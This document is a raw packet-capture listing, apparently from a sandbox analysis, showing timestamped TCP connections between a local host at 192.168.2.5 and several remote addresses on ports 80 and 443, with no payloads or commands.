Nov 20, 2024 00:19:18.857441902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:18.857465982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:18.860052109 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.860090017 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.860136986 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.860171080 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.860188961 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.860505104 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.862097979 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.862119913 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.862164974 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.862173080 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.862215042 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.862234116 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.863543987 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.863555908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.864736080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.864778042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:18.953844070 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.953912020 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.954094887 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.954113007 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.954437017 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.954509974 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.954571009 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.954575062 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.954598904 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.954624891 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.954646111 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.955931902 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.955979109 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.956018925 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.956026077 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.956062078 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.956080914 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.957118034 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.957165003 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.957195044 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.957201004 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:18.957247019 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:18.957263947 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.045552969 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.045610905 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.045655966 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.045664072 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.045721054 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.046452999 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.046497107 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.046530008 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.046535015 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.046575069 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.046592951 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.047054052 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.047099113 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.047121048 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.047127962 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.047157049 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.047178984 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.047976017 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.048021078 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.048051119 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.048057079 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.048101902 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.048101902 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.048877001 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.048921108 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.049000025 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.049000025 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.049006939 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.049773932 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.049825907 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.049844980 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.049851894 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.049907923 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.049964905 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.050024986 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.050033092 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.050116062 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.050143957 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.052198887 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.097548008 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.098138094 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.098155022 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.098170042 CET	49744	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.098176956 CET	443	49744	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.163600922 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.208607912 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:19.208712101 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:19.307121038 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:19.307219982 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:19.312273979 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:19.312297106 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.314248085 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.314260006 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.314305067 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:19.318229914 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:19.318340063 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.370522022 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:19.370542049 CET	443	49755	13.32.110.123	192.168.2.5
Nov 20, 2024 00:19:19.470647097 CET	49755	443	192.168.2.5	13.32.110.123
Nov 20, 2024 00:19:19.546222925 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:19.546251059 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:19.546672106 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:19.608103037 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.608138084 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.608196974 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.610476017 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.610501051 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.610563040 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.611073971 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.611100912 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.611187935 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613215923 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613250971 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.613346100 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613358021 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.613501072 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613508940 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.613562107 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613832951 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.613842964 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.614746094 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.614772081 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.614876986 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.614927053 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.614934921 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.615099907 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:19.615108013 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:19.650170088 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.106770039 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:20.106833935 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:20.226161957 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.226197004 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.226385117 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.226769924 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.226805925 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.226895094 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.227083921 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.227104902 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.227174997 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.227190018 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.271778107 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.272686005 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.294316053 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.297632933 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.302826881 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.370244026 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.370263100 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.370263100 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.386400938 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.386410952 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.387228966 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.387233973 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.387770891 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.387783051 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.387787104 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.387800932 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.388565063 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.388567924 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.388752937 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.388763905 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.388964891 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.389005899 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.389600992 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.389640093 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.389697075 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.389847994 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.389863014 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.389986038 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.390016079 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.390600920 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.390613079 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.390614986 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.390636921 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.488158941 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.488183975 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.488244057 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.488279104 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.488348007 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.488440990 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.488497972 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.488538980 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.489156008 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489204884 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489263058 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.489274025 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489310980 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.489351988 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489398956 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.489523888 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489589930 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.489636898 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.491481066 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.491525888 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.491569042 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.493716955 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.493791103 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.493863106 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.493891954 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.494231939 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.494286060 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.557202101 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.557240009 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.557291985 CET	49763	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.557301998 CET	443	49763	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.557830095 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.557862997 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.557877064 CET	49766	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.557883024 CET	443	49766	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.558401108 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.558449030 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.558480978 CET	49767	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.558496952 CET	443	49767	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.559554100 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.559560061 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.559568882 CET	49764	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.559571981 CET	443	49764	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.559633017 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.559633017 CET	49765	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.559650898 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.559672117 CET	443	49765	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.618243933 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.663324118 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.703700066 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.704010010 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.704025984 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.704907894 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.705029964 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.706183910 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.706239939 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.706433058 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.713495970 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.714415073 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.714442968 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.717997074 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.718102932 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.726907015 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.727092981 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.729234934 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.729259968 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.747344017 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.769397974 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.769442081 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.769512892 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.839734077 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.839909077 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.840709925 CET	49771	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.840734005 CET	443	49771	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.842256069 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.842382908 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.842521906 CET	49772	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:20.842535973 CET	443	49772	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:20.845052004 CET	49775	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.845071077 CET	443	49775	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.868104935 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.868391037 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.868417025 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.869447947 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.869527102 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.870599985 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.870666981 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.870790005 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.874712944 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.874752998 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.875266075 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.875574112 CET	49776	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.875592947 CET	443	49776	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.883044958 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883172035 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883203983 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883224964 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883264065 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.883270025 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883275986 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.883292913 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883328915 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.883347988 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.883354902 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883410931 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.883949041 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.883971930 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.884013891 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.884027958 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.884032965 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.884135008 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.884257078 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.886586905 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.886626005 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.886775970 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.886924982 CET	49777	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:20.886945009 CET	443	49777	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:20.899084091 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:20.899127960 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:20.900043011 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:20.901276112 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:20.901323080 CET	49758	443	192.168.2.5	40.126.32.136
Nov 20, 2024 00:19:20.901398897 CET	443	49758	40.126.32.136	192.168.2.5
Nov 20, 2024 00:19:20.915333986 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.938518047 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.938529968 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.938666105 CET	49759	443	192.168.2.5	52.149.20.212
Nov 20, 2024 00:19:20.938672066 CET	443	49759	52.149.20.212	192.168.2.5
Nov 20, 2024 00:19:20.971254110 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.971277952 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.988132000 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:20.988240957 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.996748924 CET	49773	443	192.168.2.5	162.159.61.3
Nov 20, 2024 00:19:20.996764898 CET	443	49773	162.159.61.3	192.168.2.5
Nov 20, 2024 00:19:21.002079964 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.002129078 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.003343105 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.004192114 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.004215956 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.004306078 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.013923883 CET	49778	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.013966084 CET	443	49778	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.015244007 CET	49779	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:21.015259981 CET	443	49779	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:21.133217096 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.133250952 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.133378983 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.133395910 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.133416891 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.133577108 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.133810043 CET	49781	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.133826971 CET	443	49781	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.134325981 CET	49782	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.134342909 CET	443	49782	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.158396959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:21.163357019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:21.201793909 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.201831102 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.202038050 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.202083111 CET	443	49784	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.202114105 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.202142954 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.202935934 CET	49783	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.202954054 CET	443	49783	172.64.41.3	192.168.2.5
Nov 20, 2024 00:19:21.203058004 CET	49784	443	192.168.2.5	172.64.41.3
Nov 20, 2024 00:19:21.203084946 CET	443	49784	172.64.41.3	192.168.2.5
